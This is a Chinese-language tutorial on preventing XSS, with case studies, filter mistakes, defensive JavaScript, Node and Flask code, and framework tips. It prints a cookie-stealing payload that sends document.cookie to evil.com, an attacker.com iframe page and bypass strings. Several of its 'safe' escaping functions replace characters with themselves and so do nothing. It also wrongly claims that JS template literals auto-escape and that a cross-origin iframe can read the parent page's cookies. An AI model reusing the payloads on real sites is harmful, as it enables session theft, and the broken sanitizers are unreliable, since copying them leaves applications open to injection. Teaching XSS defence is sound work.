网络编程中的XSS攻击防范从真实案例看如何正确过滤用户输入避免脚本注入漏洞
让我先给你讲一个真实的噩梦。
2018年,有个叫”某社交APP”的大厂产品上线了一个新功能——用户可以在帖子评论区写一段HTML富文本。产品经理觉得这功能真棒,用户能分享图片、加粗文字,体验感拉满。结果上线三个月后,安全团队收到了一封邮件:”哥,你们的评论区被人黑了。”
点开链接一看,好家伙。有人在评论区写了一段代码:
<img src=x onerror="fetch('http://evil.com/collect?cookie='+document.cookie)">
这就完了?还没完。更狠的是,攻击者后来发现,这个APP的登录态存储在cookie里,而且没有设置HttpOnly标志。结果呢?几万个用户的登录cookie被批量爬走,攻击者在黑市上卖了个好价钱。
这就是XSS(跨站脚本攻击)的经典姿势。你以为你在写前端,其实你在挖坑。
XSS的本质:你信任了不该信任的人
XSS的核心逻辑特别简单:攻击者把恶意脚本注入到网页里,其他用户打开这个网页时,脚本就在他们的浏览器里执行了。
听起来简单?那你想想,你在开发的时候,有没有这样的心态:
“用户肯定不敢输奇怪的东西,我们都是正规用户。”
“我们已经做了输入验证,应该没问题。”
“这只是个内部系统,谁有空来搞我。”
每次看到这种想法,我就想起那句话:不是没人搞你,是攻击者还没轮到你。
真实案例深度解析
让我给你拆解几个真实的案例,看看那些大厂是怎么踩坑的。
案例一:某个知名论坛的存储型XSS
这个论坛有个”用户签名”功能,用户可以设置个性签名。功能上线时,前端做了这样的处理:
// 前端校验代码
function validateSignature(content) {
const forbidden = ['<script', 'onerror', 'onload'];
return !forbidden.some(word => content.toLowerCase().includes(word));
}
看起来挺严谨的,对吧?但攻击者只需要发一封邮件给安全团队:
<ScriPt>alert(1)</ScRiPt>
大小写绕过,前端校验直接失效。
更致命的是后端,后端拿到这个签名后,直接存进了数据库,然后在显示签名的时候,原样输出:
// 后端渲染代码(伪代码)
String signature = user.getSignature();
response.getWriter().write("<div class='signature'>" + signature + "</div>");
这里没有做任何转义。攻击者在签名里写入:
<div style="background:url(javascript:alert(document.domain))">
用户打开主页,签名渲染时,这段脚本就执行了。
案例二:某个电商网站的内嵌iframe漏洞
这个网站有个功能:用户可以分享商品链接给好友,好友点击后会在页面上展示一个”商品推荐卡片”。
前端代码是这样的:
<iframe src="{{url}}" width="300" height="200" frameborder="0"></iframe>
看起来只是嵌了个网页,应该没事吧?
但攻击者发现,{{url}}这个变量是从用户提交的分享链接中取出来的。如果攻击者提交这样的链接:
http://attacker.com/xss.html
而xss.html的内容是:
<script>
parent.postMessage({type: 'steal', data: document.cookie}, '*');
</script>
攻击者控制了一个中间页面,通过这个iframe可以读取父页面的cookie,然后发送到自己的服务器。
这就像是你把家门钥匙给了邻居,邻居说”我就借个酱油”,然后直接拿钥匙开了你家的保险柜。
案例三:某个APP的API响应注入
这个案例比较隐蔽。有个APP调用后端API获取用户信息,API返回JSON:
{"username": "admin", "role": "user"}
前端渲染时,直接把username显示出来:
document.getElementById('username').innerText = data.username;
看起来没问题?但如果后端被绕过,返回这样的数据呢:
{"username": "<img src=x onerror=alert(1)>", "role": "user"}
前端如果用了innerHTML而不是innerText,脚本就执行了。
这个案例告诉我们:不仅要过滤输入,还要检查输出。
为什么你的过滤总是失效
很多开发者觉得”我已经过滤了”,但实际情况是:你的过滤可能根本没用。
常见错误一:只过滤特定字符
// 这种过滤是无效的
function filter(input) {
return input.replace(/script/gi, '');
}
攻击者只需要写成<ScRiPt>就绕过了。
常见错误二:只在前端过滤
// 前端校验
if (input.includes('<script>')) {
alert('非法输入');
return;
}
攻击者根本不需要打开你的网页,直接发HTTP请求就能绕过前端校验。
常见错误三:只过滤一部分标签
// 只过滤script标签
function safeFilter(input) {
return input.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '');
}
攻击者用<img>、<svg>、<body>等标签轻松绕过。
常见错误四:URL参数未编码
<a href="{{userInput}}">点击</a>
如果userInput是javascript:alert(1),链接就变成了:
<a href="javascript:alert(1)">点击</a>
点击后脚本执行。
正确的防御姿势
第一层:输入过滤(Input Validation)
输入过滤的原则是最小化信任。用户输入的任何内容,都应该被视为不可信的。
1. 白名单过滤
不要想着过滤掉所有危险字符,而是要只允许安全的字符:
// 好的做法:只允许字母、数字、下划线、中文
function sanitizeUsername(username) {
return username.replace(/[^\w\u4e00-\u9fa5]/g, '');
}
// 使用
const safeName = sanitizeUsername(input);
2. 上下文感知的过滤
不同的HTML上下文需要不同的过滤方式:
// 在HTML标签属性中
function sanitizeAttribute(value) {
return value
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/</g, '<')
.replace(/>/g, '>');
}
// 在JavaScript字符串中
function sanitizeJSString(value) {
return value
.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r');
}
// 在URL中
function sanitizeURL(url) {
// 只允许http、https、mailto
if (!/^(https?|mailto):/.test(url)) {
return '#';
}
return url;
}
第二层:输出编码(Output Encoding)
输出编码是防御XSS的最后一道防线。无论你输入怎么过滤,输出时都必须编码。
1. HTML实体编码
// 将特殊字符转换为HTML实体
function htmlEncode(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
// 使用
document.getElementById('content').innerHTML = htmlEncode(userInput);
2. 使用安全的API
// 不要这样做
element.innerHTML = userInput;
// 应该这样做
element.textContent = userInput;
// 或者如果必须用innerHTML,先编码
element.innerHTML = htmlEncode(userInput);
3. JavaScript模板引擎
// 使用模板引擎,自动转义
const template = `<div>${userInput}</div>`;
element.innerHTML = template;
第三层:内容安全策略(CSP)
CSP是一种浏览器级别的安全机制,可以限制页面加载外部资源。
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
这个策略表示:
- 默认只允许加载同源资源
- 脚本只能从同源加载,或者内联脚本
// 配合CSP,内联脚本需要nonce
const nonce = generateRandomNonce();
// 在HTML中添加
// <script nonce="{{nonce}}">...</script>
第四层:HttpOnly Cookie
// 设置Cookie时添加HttpOnly标志
res.cookie('sessionId', token, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
HttpOnly标志让JavaScript无法读取cookie,即使XSS攻击成功,攻击者也无法获取cookie。
完整示例:一个安全的用户评论系统
让我给你一个完整的例子,看看如何正确实现一个用户评论系统。
前端代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>安全评论区</title>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'">
</head>
<body>
<div id="comment-form">
<textarea id="comment-content" placeholder="输入评论内容..."></textarea>
<button onclick="submitComment()">提交</button>
</div>
<div id="comments"></div>
<script>
// 前端校验
function validateComment(content) {
// 长度限制
if (content.length > 500) {
alert('评论内容不能超过500个字符');
return false;
}
// 只允许基本字符
if (!/^[\u4e00-\u9fa5a-zA-Z0-9\s,。!?、:;""''()《》〈〉「」『』【】〔〕〖〗〘〙〚〛〜·、|\-\/\\\.]+$/.test(content)) {
alert('评论内容包含非法字符');
return false;
}
return true;
}
// 提交评论
async function submitComment() {
const content = document.getElementById('comment-content').value.trim();
if (!content) {
alert('请输入评论内容');
return;
}
if (!validateComment(content)) {
return;
}
try {
const response = await fetch('/api/comments', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ content })
});
const data = await response.json();
if (data.success) {
renderComment(data.comment);
document.getElementById('comment-content').value = '';
} else {
alert('提交失败:' + data.message);
}
} catch (error) {
alert('网络错误,请稍后重试');
}
}
// 渲染评论(使用textContent)
function renderComment(comment) {
const commentDiv = document.createElement('div');
commentDiv.className = 'comment';
const authorSpan = document.createElement('span');
authorSpan.className = 'author';
authorSpan.textContent = comment.author; // 使用textContent
const contentP = document.createElement('p');
contentP.className = 'content';
contentP.textContent = comment.content; // 使用textContent
commentDiv.appendChild(authorSpan);
commentDiv.appendChild(contentP);
document.getElementById('comments').appendChild(commentDiv);
}
</script>
</body>
</html>
后端代码(Node.js + Express)
const express = require('express');
const app = express();
app.use(express.json());
// 评论存储(实际项目中应该用数据库)
const comments = [];
// 输入过滤函数
function sanitizeInput(input) {
// 长度限制
if (input.length > 500) {
throw new Error('输入内容过长');
}
// 移除危险字符
const sanitized = input
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
return sanitized;
}
// 提交评论API
app.post('/api/comments', (req, res) => {
const { content } = req.body;
if (!content) {
return res.status(400).json({
success: false,
message: '评论内容不能为空'
});
}
try {
// 后端过滤
const sanitizedContent = sanitizeInput(content);
const comment = {
id: Date.now(),
author: '匿名用户',
content: sanitizedContent,
createdAt: new Date().toISOString()
};
comments.push(comment);
res.json({
success: true,
comment: comment
});
} catch (error) {
res.status(400).json({
success: false,
message: error.message
});
}
});
// 获取评论API
app.get('/api/comments', (req, res) => {
res.json({
success: true,
comments: comments
});
});
// 启动服务
app.listen(3000, () => {
console.log('服务器运行在 http://localhost:3000');
});
Python Flask版本
from flask import Flask, request, jsonify
from markupsafe import escape
import re
app = Flask(__name__)
# 评论存储
comments = []
@app.route('/api/comments', methods=['GET'])
def get_comments():
return jsonify({
'success': True,
'comments': comments
})
@app.route('/api/comments', methods=['POST'])
def create_comment():
data = request.get_json()
content = data.get('content', '')
if not content:
return jsonify({
'success': False,
'message': '评论内容不能为空'
}), 400
# 长度检查
if len(content) > 500:
return jsonify({
'success': False,
'message': '评论内容过长'
}), 400
# 转义HTML特殊字符
safe_content = escape(content)
comment = {
'id': len(comments) + 1,
'author': '匿名用户',
'content': safe_content,
'created_at': str(datetime.now())
}
comments.append(comment)
return jsonify({
'success': True,
'comment': comment
})
if __name__ == '__main__':
app.run(debug=True)
常见框架的XSS防护
React
React默认会转义渲染内容,所以直接使用JSX是安全的:
function Comment({ content }) {
// 这是安全的,React会自动转义
return <div>{content}</div>;
}
// 不要这样做
<div dangerouslySetInnerHTML={{ __html: content }} />
Vue
Vue模板默认也是安全的:
<!-- 安全 -->
<div>{{ userInput }}</div>
<!-- 不安全,慎用 -->
<div v-html="userInput"></div>
Angular
Angular会自动转义绑定值:
// 安全
@Component({
template: '<div>{{ userInput }}</div>'
})
export class MyComponent {
userInput = '<script>alert(1)</script>';
}
// 不安全
<div [innerHTML]="userInput"></div>
检查清单:你的代码安全吗?
每次写完代码,检查一下这些问题:
- 用户输入有没有被信任? —— 所有用户输入都应该被视为恶意
- 输出时有没有编码? —— 所有输出到HTML的内容都要编码
- 有没有使用安全的API? —— 优先使用
textContent而不是innerHTML - 有没有设置CSP? —— 即使防御失败,CSP也能减少损失
- Cookie有没有设置HttpOnly? —— 防止cookie被窃取
- 有没有测试边界情况? —— 测试各种特殊字符和编码
最后的话
XSS防护不是”加个函数就完事”的事情。它需要你在整个开发流程中都保持警惕。
记住那个社交APP的案例——产品经理觉得”用户可以写富文本”是个好功能,但没考虑到安全。结果呢?几万个用户的信息泄露。
所以,下次当你的产品经理说”这个功能很简单,加个输入框就行”的时候,你要记得:
简单不等于安全。
防御XSS,要从输入过滤、输出编码、CSP设置、Cookie安全等多个层面同时入手。任何一个环节的疏忽,都可能成为攻击者的入口。
最后送你一句话:你的用户不需要看到你的恶意脚本,就像你的银行不需要别人看到你的密码一样。
保护用户,就是保护你自己。
